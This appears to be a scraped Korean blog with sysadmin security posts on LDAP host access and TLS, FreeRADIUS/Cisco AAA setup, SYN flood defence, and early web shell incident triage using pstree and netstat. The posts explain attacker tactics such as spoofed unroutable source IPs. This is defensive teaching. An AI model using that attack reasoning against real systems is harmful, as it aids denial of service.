ou=hosts 가 먼저 있어야 한다.

# cat host.ldif
dn: ou=hosts, dc=isoc, dc=com
ou: hosts
objectclass: organizationalUnit
objectclass: domainRelatedObject
associatedDomain: isoc.com

# ldapadd -x -D 'cn=manager,dc=isoc,dc=com' -W -f host.ldif

이제 특정 호스트와 사용자에 대한 정보를 입력한다. 아래에서는 cn을 linux 를 하였다.

# cat iphost.ldif
dn: cn=linux,ou=hosts,dc=isoc,dc=com
objectClass: ipHost
objectClass: device
objectClass: extensibleObject
ipHostNumber: 192.168.0.23
cn: linux.isoc.com
cn: linux
member: uid=test,ou=people,dc=isoc,dc=com
member: uid=test2,ou=people,dc=isoc,dc=com

# ldapadd -x -D 'cn=manager,dc=isoc,dc=com' -W -f iphost.ldif

위에서는 192.168.0.23 에 test, test2 계정만 접속가능하도록 설정하였다.

ldap에 위의 정보를 입력한 후 각 ldap client 에 위 기능을 사용할 수 있도록 설정해야 한다.

이는 /etc/ldap.conf 에 다음 항목을 추가한다. 위에서 사용한 dn을 넣어주어야 한다.

pam_groupdn cn=linux,ou=hostss,dc=isoc,dc=com
pam_member_attribute member


테스팅을 한 결과 /etc/ldap.conf 에 pam_groupdn 설정을 두개 넣으면 작동을 하지 않았다.
그렇지만 각 ldap client 쪽에 이 설정이 두가지 들어갈 일이 없으므로 문제가 되지는 않는다.

iphost.ldif 에 설정한 내용을 각 ldap client 별로 ldap에 넣어주고 이후에는 그 설정내용만 계속 수정하면 된다.

**************** ldap 에서 TLS 사용한 암호화 통신
/etc/openldap/slapd.conf 에서 TLS 관련한 부분을 활성화해줌

33 # The next three lines allow use of TLS for connections using a dummy test
34 # certificate, but you should generate a proper certificate by changing to
35 # /usr/share/ssl/certs, running "make slapd.pem", and fixing permissions on
36 # slapd.pem so that the ldap user or group can read it.
37 TLSCertificateFile /usr/share/ssl/certs/slapd.pem
38 TLSCertificateKeyFile /usr/share/ssl/certs/slapd.pem
39 TLSCACertificateFile /usr/share/ssl/certs/ca-bundle.crt

slapd.pem 파일은 openldap-servers 를 설치시 자동으로 생성하며 수동으로 생성시에는 /usr/share/ssl/certs 디렉토리에서 make slapd.pem 명령어를 이용하여 생성할 수 있음. make slapd.pem 을 실행하면 키 생성, CSR (SSL certificate signing requests), self-signed SSL test certificates 를 자동으로 처리해줌. 상세한 내용은 openssl 에서 참조함. 생성후에는 퍼미션과 사용자를 조정해주어야 함

# chown root.ldap slapd.pem
# chmod 640 slapd.pem

활성화해준 뒤에는 /etc/init.d/ldap restart 해줌

ldap client 에서는 authconfig 에서 Use TLS 를 체크하여주면 됨

이제부터는 ldap client 와 ldap server 간에 TLS를 이용하여 보안통신을 함.

*** 기타
위와 같이 사용하면 별도로 만든 로컬계정은 접속이 되지 않습니다.
이경우 /etc/pam.d/system-auth 에서 아래 행을 주석처리합니다.
account [default=bad success=ok user_unknown=ignore] /lib/security/$ISA/pam_ldap.so

ldap에 지정된 계정을 제외한 다른 사용자를 무시하도록 설정된 내용으로서 주석처리하면 로컬 계정 사용이 가능합니다.

x윈도우나 ssh등이 아닌 콘솔 로그인 상황에서 접속시 로그인에 문제가 있습니다.
다음의 항목을 주석처리해 주면 됩니다.

session required pam_limits.so

'04.보안' 카테고리의 다른 글

[보안]LSCP 리눅스 보안점검 프로젝트  (0) 2013.03.25
[보안]Radius 서버 구축 관련 자료  (0) 2012.12.19
[보안]Syn Flooding 공격 대응  (0) 2012.12.19
[보안]웹쉘 대응방법  (0) 2012.12.19
Posted by redkite
, |

wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.10.tar.gz

데이터 보안은 시스템 보안 만큼 중요하다. 따라서 데이터를 보호하고 기밀성, 기밀성, 가용성을 확실히 보장하는 것은 관리자들에게는 중요한 문제이다.

이 글에서 데이터 보안의 기밀성에 대해 설명하겠다. 보호를 받고 있는 데이터는 권한을 받은 사용자 또는 시스템만이 접근할 수 있다. 리눅스 시스템에서 Remote Authentication Dial-In User Service server (RADIUS)를 설정 및 구성하여 사용자 인증, 권한, 계정 부여 (AAA)를 수행하는 방법을 설명하겠다.

소개

RADIUS 프로토콜에 대해 먼저 설명한 다음 AAA 컴포넌트와 이것의 작동방법 그리고 LDAP 프로토콜을 설명하겠다.

Remote Authentication Dial-In User Service 프로토콜은 IETF의 RFC 2865(참고자료)에서 정의된다. 이것은 네트워크 액세스 서버(NAS)로 사용자 인증, 권한 부여, 계정 설정 등을 수행한다. RADIUS는 UDP에 기반한 클라이언트/서버 프로토콜이다. RADIUS 클라이언트(네트워크 액세스 서버)는 일반적으로 라우터, 스위치 또는 무선 액세스 포인트이다. (액세스 포인트는 네트워크상의 노드에 설정된다; WAP은 무선 버전이다.) RADIUS 서버는 유닉스 또는 Windows 2000 서버상에서 실행되는 데몬 프로세스이다.

RADIUS와 AAA

NAS가 사용자 연결 요청을 받으면 NAS는 이것을 지정된 RADIUS 서버로 보낸다. RADIUS 서버는 사용자를 인증하고 사용자 설정 정보를 NAS로 리턴한다. 그런 다음, NAS는 연결 요청을 수락 또는 거절한다.

완전한 기능을 갖춘 RADIUS 서버는 LDAP 외에도 다양한 방식을 지원하여 사용자를 인증한다.

  • PAP (Password Authentication Protocol, 패스워드가 텍스트로 보내지는 곳에서 PPP와 함께 사용됨.);
  • CHAP (Challenge Handshake Authentication Protocol, PAP 보다 안전, 사용자 이름과 패스워드 사용.);
  • 로컬 UNIX/Linux 시스템 패스워드 데이터베이스 (/etc/passwd);
  • 기타 로컬 데이터베이스

인증과 권한부여는 RADIUS에서 함께 결합된다. 사용자 이름이 맞고 패스워드가 정확하면 RADIUS 서버는 사용자의 접근을 허용하는 몇 가지 매개변수(애트리뷰트-값 쌍)을 포함하여 Access-Accept 응답을 리턴한다. 이 매개변수들은 RADIUS에서 설정되고 서비스 유형, 프로토콜 유형, 사용자를 할당하는 IP 주소, 액세스 제어 리스트(ACL) 또는 NAS에서 적용할 정적 라우트, 기타 값 등을 포함한다.

RADIUS 계정 기능을 사용하면(참고자료), 보안 또는 빌링에 사용되는 세션동안 사용된 시간, 패킷, 바이트 같은 리소스의 양을 나타내면서 연결 세션의 시작과 끝에 데이터를 보낼 수 있다.

Lightweight Directory Access Protocol

Lightweight Directory Access Protocol (LDAP)은 X.500 계열 디렉토리의 정보에 접근하고 업데이트하는 방식을 정의한 오픈 표준이다. LDAP는 사용자 정보를 중앙 로케일에 저장하여 동일한 사용자 정보를 각 시스템에 저장하지 않아도 된다. 또한 일관성 있고 제어된 방식으로 정보를 관리하고 정보에 액세스하는데 사용되기도 한다.

LDAP는 중앙 디렉토리에서 사용자를 관리하기 때문에 사용자 관리 태스크가 간단해진다. 사용자 정보를 저장하는 것 외에도, LDAP에서 사용자를 정의할 수 있다. 로그인의 수를 제한하는 것과 같은 선택 기능이 가능하다. 이 글에서 RADIUS 서버가 설정되어 LDAP에 대해 사용자를 인증하는 방법을 설명하겠다. 이 글은 RADIUS에 초점을 맞추었기 때문에 LDAP 서버 설정 및 설치에 대해서는 자세히 설명하지 않겠다.

OpenLDAP는 LDAP의 오픈 소스 구현이다; OpenLDAP.org에서 자세한 정보를 참조하기 바란다.(참고자료)

시나리오

다음과 같은 시나리오를 상상해보자:

  • 집에 있는 사용자가 dial-up 인증을 사용하여 회사의 인트라넷에 접근할 수 있다.
  • 무선기능이 되는 랩탑이 무선 인증에 의해 캠퍼스 네트워크와 연결될 수 있다.
  • 관리자가 자신의 워크스테이션을 사용하여 텔넷이나 HTTP를 통해 관리자 인증으로 네트워크 장치에 로그인 할 수 있다.

이 모든 인증 작업은 중앙 LDAP 서버에 대해 RADIUS 서버로 수행될 수 있다. (그림 1)


그림 1. RADIUS와 LDAP를 통한 인증

이 글에서, 마지막 옵션을 구현해 보겠다. 먼저 RADIUS 서버를 설치하는 것으로 시작한다.

위로

RADIUS 설치

RADIUS 서버 소프트웨어는 여러 소스들로 얻어질 수 있다. 이 글에서는 FreeRADIUS를 사용하겠지만(참고자료), Cisco Secure Access Control Server (ACS)도 중앙화 된 사용자 액세스 제어 프레임웍으로서 UNIX 와 Windows에서 실행되는 Cisco 장치를 통해 사용자 관리를 한다. 또한 Cisco 상용 프로토콜인 TACACS+도 지원한다. (이것은 TACACS+ 기능이 되는 장치에서 더 많은 사용자 관리 기능을 수행한다.)

FreeRADIUS는 리눅스 상에서 실행되는 강력한 RADIUS 서버로서 오픈 소스 커뮤니티에서 만들어 졌으며 오늘날 분산 및 이종의 컴퓨팅 환경에 알맞다. FreeRADIUS 1.0.2는 LDAP, MySQL, PostgreSQL, Oracle 데이터베이스를 지원하고 EAP와 Cisco LEAP 같은 네트워크 프로토콜과 호환된다. FreeRADIUS는 현재 많은 대규모 네트워크 시스템에 전개되고 있다.

다음 단계는 Red Hat Enterprise Linux Advanced Server 3.0에 FreeRADIUS 1.0.2를 설치 및 테스트 하는 방법을 설명한 것이다.:


Listing 1. FreeRADIUS 설치와 테스트

tar -zxvf freeradius-1.0.2.tar.gz - extract it with gunzip and tar

./configure

make

make install - run this command as root

radiusd or - start RADIUS server

radiusd -X - start RADIUS server in debug mode

radtest test test localhost 0 testing123 - test RADIUS server

 

radtest 응답을 받으면 FreeRADIUS 서버가 작동한다.

또 다른 무료 툴인 NTRadPing(참고자료)을 소개하겠다. 이것은 Windows 클라이언트에서 온 인증 및 권한부여 요청을 테스트한다. RADIUS 서버에서 돌아온 애트리뷰트 값과 같은 자세한 응답을 디스플레이 할 수 있다.

이제 FreeRADIUS를 설정한다.

위로

FreeRADIUS 설정하기

RADIUS 서버 구성은 서버, 클라이언트, 사용자(권한부여와 인증용)를 설정하는 것이다. RADIUS 서버와는 다른 필요 때문에 다른 설정이 될 수도 있다. 다행히 대부분의 설정은 비슷하다.

서버 설정하기

FreeRADIUS 설정 파일은 /etc/raddb 폴더에 저장된다. radiusd.conf 파일을 변경해야 한다.


Listing 2. radiusd.conf 변경하기

1) Global settings:

 

log_auth = yes - log authentication requests to the log file

log_auth_badpass = no - don't log passwords if request rejected

log_auth_goodpass = no - don't log passwords if request accepted

 

2) LDAP Settings:

 

modules {

ldap {

server = "bluepages.ibm.com" - the hostname or IP address of the LDAP server

port = 636 - encrypted communications

basedn = "ou=bluepages,o=ibm.com" - define the base Distinguished Names (DN),

- under the Organization (O) "ibm.com",

- in the Organization Unit (OU) "bluepages"

filter = "(mail=%u)" - specify search criteria

base_filter = "(objectclass=person)" - specify base search criteria

}

 

authenticate { - enable authentication against LDAP

Auth-Type LDAP {

ldap

}

 

매개변수는 LDAP 서비스의 인스턴스인 IBM BluePages와 작동하도록 설정된다. 매개변수들은 다른 LDAP 서버들마다 달라진다.

클라이언트 설정하기

클라이언트는 /etc/raddb/clients.conf 에서 설정된다. RADIUS 클라이언트를 설정하는 두 가지 방식이 있다. IP 서브넷으로 NAS를 그룹핑하거나(Listing 3) 호스트 이름 또는 IP 주소로 NAS를 리스팅 할 수 있다. (Listing 4). 두 번째 방식을 따르면, shortname과 nastype이 정의된다.


Listing 3. IP 서브넷으로 NAS 그룹핑하기

client 192.168.0.0/24 {

secret = mysecret1 - the "secret" should be the same as configured on NAS

shortname = mylan - the "shortname" can be used for logging

nastype = cisco - the "nastype" is used for checkrad and is optional

}



Listing 4. 호스트네임과 IP 주소로 NAS 리스팅하기

client 192.168.0.1 {

secret = mysecret1

shortname = myserver

nastype = other

}

 

사용자 인증 설정

/etc/raddb/user 파일에는 각 사용자에 대한 인증과 설정 정보가 포함되어 있다.


Listing 5. /etc/raddb/user 파일

1) Authentication type:

 

Auth-Type := LDAP - authenticate against LDAP

Auth-Type := Local, User-Password == "mypasswd"

- authenticate against the

- password set in /etc/raddb/user

Auth-Type := System - authenticate against the system password file

- /etc/passwd or /etc/shadow

 

2) Service type:

 

Service-Type = Login, - for administrative login

 

사용자 권한 설정

다음 인증 서버 애트리뷰트 값(AV) 쌍은 사용자 권한을 위해 설정되어야 한다. 인증이 수락된 후 관리자 로그인 요청을 위해 NAS로 리턴된다.

Cisco 라우터의 경우 다른 권한 레벨이 있다:

  • Level 1은 non-privileged이다. 프롬프트는 router>이고, 로그인용 기본 레벨이다.
  • Level 15는 privileged이다. 프롬프트는 router#이고, 사용 가능 모드로 들어간 후 레벨이다.
  • Levels 2에서 14는 기본 설정에는 사용되지 않는다.

다음 명령어를 사용하면 네트워크 접근을 통한 사용자 로그인으로 EXEC 명령어에 즉시 접근할 수 있다.:

cisco-avpair ="shell:priv-lvl=15"

다음 코드는 CISCO 무선 액세스 포인트에 대해 같은 작업을 핸들한다.:

Cisco:Avpair = "aironet:admin-capability=write+snmp+ident+firmware+admin"

어떤 기능의 조합으로도 다음 애트리뷰트와 함께 리턴된다.:

Cisco:Avpair = "aironet:admin-capability=ident+admin"
Cisco:Avpair = "aironet:admin-capability=admin"

Cisco에서 명령어에 관한 더 많은 정보를 숙지하기 바란다.

위로

네트워크 액세스 서버 설정하기

다음에는 NAS를 설정한다. 우선 Cisco 라우터 그 다음에는 Cisco WAP이다.

Cisco IOS 12.1 라우터의 경우 AAA를 실행한 다음 인증, 권한, 계정을 설정할 것이다.


Listing 6. AAA 실행

aaa new-model

radius-server host 192.168.0.100

radius-server key mysecret1

 

AAA는 라우터 상에서 실행되어야 한다. NAS에 AAA 서비스를 제공할 RADIUS 서버의 리스트가 설정된다. 암호화 키는 NAS와 RADIUS 서버 간 데이터 전송을 암호화하는데 사용된다. FreeRADIUS에서 설정된 것과 동일해야 한다.


Listing 7. 인증 설정

aaa authentication login default group radius local

line vty 0 4

login authentication default

 

이 예제에서, 네트워크 관리자는 RADIUS 인증을 사용한다. RADIUS 서버를 사용할 수 없다면 NAS의 로컬 사용자 데이터베이스 패스워드를 사용하라.


Listing 8. 권한 설정

aaa authorization exec default group radius if-authenticated

 

NAS에 로그인할 때, 사용자가 EXEC 쉘을 사용하도록 한다.


Listing 9. 계정 설정

aaa accounting system default start-stop group radius

aaa accounting network default start-stop group radius

aaa accounting connection default start-stop group radius

aaa accounting exec default stop-only group radius

aaa accounting commands 1 default stop-only group radius

aaa accounting commands 15 default wait-start group radius

 

라우터는 RADIUS 서버에 계정 기록을 보내도록 설정되어야 한다. Listing 9의 명령어를 사용하여 NAS 시스템 이벤트, 네트워크 연결, 아웃바운드 연결, EXEC 연산, 레벨 1에서 15까지의 명령어에 대한 계정 정보를 기록한다.

여기까지다. 이제 Cisco 무선 액세스 포인트 설정을 보도록 하자. 다음 설정은 Firmware 12.01T1과 함께 Cisco 1200 Series AP에 적용된다. (그림 2):

  • 서버 이름 또는 IP 주소, 공유 비밀을 입력한다.
  • 유형을 "Radius"로 선택하고, "User Authentication."를 체크한다.


그림 2. WAP용 NAS 설정

실제로 EAP Authentication을 설정하여 FreeRADIUS가 일반 사용자들을 무선 LAN에 인증하도록 하는데 사용되도록 할 수 있다.

위로

계정: RADIUS 작동

모든 설정이 완료되었기 때문에 FreeRADIUS 서버는 NAS에서 보내진 모든 정보를 기록하여 /var/log/radius/radius.log 파일에 저장할 수 있다.:


Listing 10. /var/log/radius/radius.log 파일

Thu Mar 3 21:37:32 2005 : Auth: Login OK: [David] (from client

mylan port 1 cli 192.168.0.94)

Mon Mar 7 23:39:53 2005 : Auth: Login incorrect: [John] (from

client mylan port 1 cli 192.168.0.94)

 

자세한 계정 정보는 /var/log/radius/radacct 디렉토리에 저장된다. Listing 11은 David가 2005년 3월 4일, 7시 40분에서 7시 51분 사이에 192.168.0.94에서 192.168.0.1로 로그인 했음을 나타내고 있다. 이렇게 자세한 정보는 관리자에게 매우 도움이 된다.


Listing 11. RADIUS가 제공하는 계정 상세 샘플

Fri Mar 4 19:40:12 2005

NAS-IP-Address = 192.168.0.1

NAS-Port = 1

NAS-Port-Type = Virtual

User-Name = "David"

Calling-Station-Id = "192.168.0.94"

Acct-Status-Type = Start

Acct-Authentic = RADIUS

Service-Type = NAS-Prompt-User

Acct-Session-Id = "00000026"

Acct-Delay-Time = 0

Client-IP-Address = 192.168.0.1

Acct-Unique-Session-Id = "913029a52dacb116"

Timestamp = 1109936412

 

Fri Mar 4 19:51:17 2005

NAS-IP-Address = 192.168.0.1

NAS-Port = 1

NAS-Port-Type = Virtual

User-Name = "David"

Calling-Station-Id = "192.168.0.94"

Acct-Status-Type = Stop

Acct-Authentic = RADIUS

Service-Type = NAS-Prompt-User

Acct-Session-Id = "00000026"

Acct-Terminate-Cause = Idle-Timeout

Acct-Session-Time = 665

Acct-Delay-Time = 0

Client-IP-Address = 192.168.0.1

Acct-Unique-Session-Id = "913029a52dacb116"

Timestamp = 1109937077

 

위로

결론

이 글에서 제시한 간단한 단계를 거치면 외부 LDAP 서버를 사용하는 Remote Authentication Dial-In User Service 서버를 설정하여 인증, 권한, 계정 등을 핸들 할 수 있다. 이 글을 다음과 같이 요약할 수 있다.:

  • RADIUS와 LDAP 서버 및 AAA 개념 소개.
  • 설치 및 구현 시나리오.
  • RADIUS 서버의 설치 및 설정.
  • 네트워크 액세스 서버 설정.
  • RADIUS가 제공하고 관리하는 상세 정보 샘플.

이 글에서 제시한 것은 권한이 있는 엔터티에 의해서만 보안 데이터에 접근될 수 있도록 하기 위한 절차이다.

 

참고자료

Posted by redkite
, |

0002. Syn Flooding 공격 대응

SYN Flood DoS Attack

<TCP/IP 3-Way Handshake 동작원리>

TCP/IP 네트워크는 핸드셰이크(Handshake)라는 과정을 통해 상호간 연결을 유지한다. 핸드셰이킹은 3단계로 나누어진다. 먼저 클라이언트는 원격지 컴퓨터에게 접속하고자 하는 포트로 연결 요구를 하며, 이를 받아 원격 서버에서는ACK(Acknowledgment)와 연결 큐로 클라이언트에 응답한다. 그리고 클라이언트가 이 ACK에 응답하면 연결이 이루어진다.

<SYN-Flooding 동작원리>

SYN(Synchronize) Flood는 이 세 가지 단계 중 마지막 클라이언트가 이 ACK에 응답하지 않는 상황에서 발생한다. SYN Flood란 명칭은 이러한 공격을 수행하는 프로그램이 최초에 SYN Flooder라는 이름으로 공개되었기 때문이다. 이런 상황에서 ACK를 발송한 서버는 클라이언트가 ACK에 응답하기 전까지 해당 접속 정보를 잠시 로그에 쌓아 둔다. 만일 동시다발적으로 이러한 요구가 증가했을 경우, 시스템은 로그를 위한 공간을 충분히 확보하지 못하게 되며 결국 네트워크 중단으로 이어지게 된다.

<SYN-Flooding 방어 및 증상>

CERT에서는 현재 이러한 공격에 대해 지금의 IP 시스템 체계에서는 사실 마땅히 막을 수 있는 방법은 존재하지 않으며,라우터 설정이나 기타 다른 방법으로 침입을 통제하는 방편을 사용할 것을 권장한다. 또한 일반적으로 SYN Flood 공격은 시스템의 트래픽을 증가시킬 뿐, 일반적인 TCP/IP 접속 방식을 사용하고 있기 때문에 그다지 두드러진 로그상의 특징이 나타나지 않는다.

순간적인 포착은 netstat 명령어로 시도할 수 있으며, netstat 명령어로 SYN_RECEIVED가 계속 나타나면 공격에 노출된 것으로 간주할 수 있다.

<SYN Flooding 대처 방법>SYN Flood DoS를 막는 방법은 근본적으로는 존재하지 않으나 다음과 같은 몇 가지 설정을 조작하여 SYN Flood 가능성을 낮추는 해결책은 존재한다.

첫번째 설정은 반쯤 열려진 연결 시도들을 얼마나 빨리 닫아버릴지 여부를 설정하는 것이다.물론 이 시간 내에 지속적인 DDOS 공격을 감행한다면 큰 의미는 없지만, 상대적으로 조절하지 않은 시스템에 비해 조절한 시스템이 훨씬 안정적으로 동작할 확률이 높다. 하지만, 정상적인 접속도 제대로 이루어지지 않을 가능성이 있으니 이를 주의해야 한다.

두번째 SYN Flood를 방지하는 방법은 로그 크기를 늘리는 방법과 접속 시간을 줄이는 방법이 있다.전자의 경우는 정상적인 접속이 저해될 가능성은 없지만, 로그를 늘려준다는 것은 공격에 대한 지연 시간만 확보하는 것이라 큰 의미는 없다.

<그 외 SYN_Flooding 에 대한 보충 설명>(1) RFC 1918 에 의해 내부(Private) IP를 소스로 들어오는 트래픽을 차단한다.127.0.0.0, 10.0.0.0, 172.16.0.0, 192.168.0.0 등은 Private IP 로서 내부의 가상 IP 를 사용할 때쓰이는 주소이며 일반적으로 이러한 IP를 소스 주소로 라우팅이 될 수 없다.

(2) 임의의 IP 가 아닌 특정한 IP를 소스 주소로 계속적으로 SYN 공격이 이루어 질 경우에는 해당 IP 를 차단하는 것도 좋은 방법이다. 만약 임의의 IP로 공격지를 생성한다면 SYN_RECEIVED 로 보이는 IP 중에는 실제 네트워크에 연결되어 있는 IP 도 있을 것이고 그렇지 않은 IP 도 있을 것이다. 그러나 실제 공격을 당할 때 공격지 IP 를 검출해 보면 모두 ping 이 되지 않는 실제 네트워크에 연결되지 않은 IP 주소이다. 어째서 이런 현상이 일어날까? 이는 앞에서 설명한 TCP 의 3 Way-Handshake 원리를 잘 생각해보면 이해가 될 것이다.즉, 무작위로 생성된 IP 를 소스로 한 SYN 패킷을 받은 서버는, 요청을 받은 모든 IP 로 SYN+ACK 패킷을 보낸다. 그런데, 정작 실제로 해당 IP 를 사용중인 호스트는SYN 패킷을 보내지도 않았는데, 공격을 받은 서버로부터 영문도 모르는 SYN+ACK 를 받았으므로 이 패킷을 비정상적인 패킷으로 간주하고 해당 패킷을 리셋(RST)하여 초기화 시킨다. 그리고 실제 존재하지 않는 IP 에 대해서 알아보자. 공격을 당한 서버가 해당 IP로부터 SYN 패킷을 받았다고 판단(실제로는 위조된 패킷이지만) 하여 SYN+ACK 패킷을 발송 후ACK 패킷을 계속 기다리지만 해당 IP 는 인터넷에 연결되어 있지 않으므로 SYN+ACK 패킷을 받을 수도 없을 뿐더러 이에 대한 응답으로 ACK 패킷을 발송하지 않을 것임은 불을 보듯 뻔한 것이고, 결국 공격을 받는 서버는 존재하지도 않는IP 로부터 ACK 패킷을 받을 것만을 기다리며 백로그큐는 가득 차게 되는 것이다.이것이 백로그큐가 가득 차게 되는 이유이며 백로그큐를 가득 채우는 IP가모두 실제로는 존재하지 않는 IP 들인 것이다. 따라서 공격자의 입장에서는 인터넷상에서 라우팅이 되지 않는 IP 를 소스 IP 로 하여 공격하는 것이 가장 효과적일 것이다. 즉 인터넷에 연결되어 있는 IP 를 소스 주소로 하여 SYN Flooding 공격하는 것은 의미가 없다.

(3) 실제 공격지 IP를 추적하는 것은 거의 불가능하다.대부분의 DoS 공격이 그러하듯이 SYN_Flooding 공격도 소스IP를 속여서 들어오기 때문에 netstat 으로 보이는 IP를 실제 공격지 IP 라고 판단해서 해당 IP로 역공격을 해서는 안 된다.공격을 당하는 리눅스 서버에서 공격지를 아는 방법은 없으며 상위 라우터와 해당 라우터가 연결되어 있는 ISP 업체와 긴밀하게 협조가 되었을 때라야그나마 추척이 가능하다.그러나 사실상 협조가 이루어져도 추척하기란 매우 어려운데, 만약 라우팅 경로가 20개이상 되는 곳에서 공격한다면 20개 라우터를 관리하는 모든 관리자와 동시에 협조가 이루어져야하고 공격이 실제 이루어지고 있는 당시에추척이 되어야 하므로 매우 어렵다고 할 수 있다.결론적으로 공격지 IP를 추척하는 것은 불가능하다고 할 수 있다. 그리고, 참고적으로 시스템에서 위조된 패킷을 생성하는 것은 오직 root 만이 가능하므로 공격자는 공격지 시스템의 root 소유로 SYN Flooding 공격을 하는 것이라는 사실을 참고하기 바란다.

(4) 라우터나 방화벽에서 차단 가능하다.라우터등 네트워크 장비로 유명한 CISCO 에서는 TCP SYN_Flooding 공격을 차단하기 위해 TCP Intercept 라는 솔루션을 제안했다. TCP Intercept 는 두 가지 방식으로 구현가능한데 , 첫번째 방식은
"인터셉트 모드"라 하여 말 그대로 라우터로 들어오는 SYN 패킷 요청을 그대로 서버에 넘겨주지 않고 라우터에서 일단 가로채어(Intercept 하여) 서버를 대신하여 SYN 패킷을 요청한 클라이언트와 연결을 맺고, 연결이 정상적으로 이루어지면 이번에는 클라이언트를 대신하여 서버와 연결을 맺은 다음 두 연결을 투명하게 포워딩하여 연결시켜주는 방식이다.따라서 존재하지 않는 IP 로부터 오는 SYN 요청은 서버에 도달하지 못하게 되는 것이다. 두번째 방식은 "와치(watch) 모드"라 하여 "인터셉트 모드"와는 달리 라우터를 통과하는 SYN패킷을 그대로 통과시키고 일정 시간동안 연결이 이루어지지 않으면 라우터가 중간에서 SYN 패킷을 차단하는 방식이다.몇몇 방화벽에서도 위의 두 가지 방식으로SYN Flooding 을 차단하고 있다.실제로 tcp intercept 를 설정하여 테스트 결과 서버 레벨에는 전혀 스푸핑된 SYN 패킷이 보내지지 않아 SYN_Flooding 공격을 차단하기 위한 가장 확실한 방법이기는 했지만 아쉽게도 라우터의 CPU, Memory 부하가 너무 높아지는 단점이 있었다.이 설정에 대해 궁금하신 분은 http://www.cisco.com/ 접속후 "tcp intercept" 로 검색해 보기 바란다. 이 설정을 했을 경우에는 모든 패킷에 대해 인터셉트를 하므로 트래픽이 많을 경우에는 라우터가 다운되는 경우도 있으니 설정시 각별히 주의하기 바란다.
(6) Windows NT/2000 계열에서는 Registry값을 수정함으로써 튜닝이 가능하다.이 값에 대한 튜닝은Microsoft 의 technical page 나
http://packetstorm.securify.com/groups/rhino9/synflood.doc 를 다운로드 받아 참고하기 바란다.
AIX나 Solaris등 다른 UNIX 계열에 대한 튜닝은
http://www.cymru.com/~robt/Docs/Articles/ip-stack-tuning.html 를 참고하기 바란다.

■ SYN flooding attack의 방법
- 연결하고자 하는 서버의 backlog queue를 가득 차게 함.
- TCP의 3-way handshaking의 약점을 이용.
- ISP에 치명적
※ 특정 포트(23, 80)에 attack하여 성공할 경우, 서비스 제공에 차질.

■ SYN Flooding 확인 요령
- netstat -a -f inet
※ state가 보통 LISTEN이나, SYN_RECEIVED가 많다면, 현재 공격당하고 있는 것으로 볼 수 있음.

■ SYN Flooding 방지 요령
- 리눅스 커널 세팅에서 SYN Cookies와 RST Cookies 지원 하게 함(or both)
※ SYN Flooding 공격을 받고 있다 하더라도 cookies를 통해 합법적 사용자와의 연결이 지속적으로 이루어지게 해줌
- Connection time-out을 짧게 잡아줌.

Posted by redkite
, |

[보안]웹쉘 대응방법

04.보안 / 2012. 12. 19. 15:07

가끔 접속 자 수도 많지도 않은데 로드가 높아서 서버 접속이 원활하지 못하다거나 나의 서버가 스팸서버로 지정 되어서 상대방에게 메일을 보냈는데도 차단되었다거나 혹은 idc 보안 관제 센터에서 당신네 서버가 외부로 ddos공격을 하고 있으니 빨리 조치를 취하지 않으면 네트워크를 차단시키겠다는 경고성 전화를 받았을 때 어떻게 조치를 취해야 하는지 막막할 경우가 있다.

 

이럴 경우 웹 해킹에 의해서 서버가 해커에 의해 조종되고 있지 않는지 살펴 볼 필요성이 있다. 이번에는 실제 사례를 가지고 웹 해킹 침해 사고 시 대처 방법을 소개해 보고자 한다.


해킹된 서버는 redhat9를 사용하고 있으며 커널 버전은 2.4.20-8이다. 웹서버는 apache + php + mysql 기반으로 돌아가고 있으며 앞으로 모든 설명을 여기에 맞추어서 진행 하려고 한다. (윈도우에 asp는 해당 사항이 아니다.)


pstree

init-+-bdflush

|-crond

|-httpd-+-40*[httpd]

| `-2*[httpd---read.cgi]

|-httpd---httpd

|-httpd

|-kapmd

|-keventd

|-khubd

|-10*[kjournald]

|-2*[klogd]

|-kscand/DMA

|-kscand/HighMem

|-kscand/Normal

|-ksoftirqd_CPU0

|-kswapd

|-kupdated

|-mdrecoveryd

|-6*[mingetty]

|-named

|-nohup---a---sshd---101*[sshd]

|-perl

|-rhnsd

|-safe_mysqld---mysqld

|-sshd---sshd---bash---pstree

|-11*[sshd]

|-syslogd

|-vsftpd

|-us1---us1

|-us10---us11

|-us12---us12

|-us13---us13

|-us14---us14

|-us15---us15

|-us16---us16

|-us17---us17

|-us18---us18

|-us19---us19

|-us2---us2

|-us21---us21

|-us22---us22

`-xinetd

pstree명령어는 현재 돌아가고 있는 서버의 프로세스를 한눈에 파악할 수 있는 아주 중요한 명령어이다. 리눅스 사용자는pstree명령어에 익숙해 져야 한다. 그냥 시간 날 때 마다 pstree치면서 나오는 결과를 눈에 익도록 하는 게 낫다.

 

위에 출력 결과를 한번 분석해 보도록 하자.

|-httpd-+-40*[httpd]

| `-2*[httpd---read.cgi]

|-httpd---httpd

|-httpd

 

아파치 웹 서버가 돌아가면 위와 같은 프로세스가 보인다. 허나 진짜 웹 서버는 첫째 줄 뿐이다. 나머지는 두번째 줄과 세번째 줄은웹 서버로 위조된 해킹 프로세스이다.

|-nohup---a---sshd---101*[sshd]

이 부분을 보자 외부로 ssh Login Brute force scan 공격을 하고 있다. 마찬가지로 us로 시작하는 프로세스도 모두 외부로 공격하는 해킹프로세스이다. 정상적인 서버에서는 절대 볼 수 없는 프로세스들이다. 이외에도 perl같은 프로세스도 비정상 프로세스이다.

현재 이 서버는 외부로 공격을 수행하는 해킹 프로세스들이 매우 많이 수행되고 있는 중이다.

 

포트 상태를 점검해서 좀더 자세한 상황을 살펴보자.

# netstat -nlp

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 655/

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 26032/httpd

tcp 0 0 0.0.0.0:2 0.0.0.0:* LISTEN 612/vsftpd

tcp 0 0 192.168.10.1:53 0.0.0.0:* LISTEN 575/

tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 575/

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 588/sshd

tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 575/

udp 0 0 0.0.0.0:32768 0.0.0.0:* 575/

udp 0 0 0.0.0.0:37028 0.0.0.0:* 25089/sshd

udp 0 0 0.0.0.0:37029 0.0.0.0:* 25479/httpd

udp 0 0 192.168.10.1:53 0.0.0.0:* 575/

udp 0 0 127.0.0.1:53 0.0.0.0:* 575/

Active UNIX domain sockets (only servers)

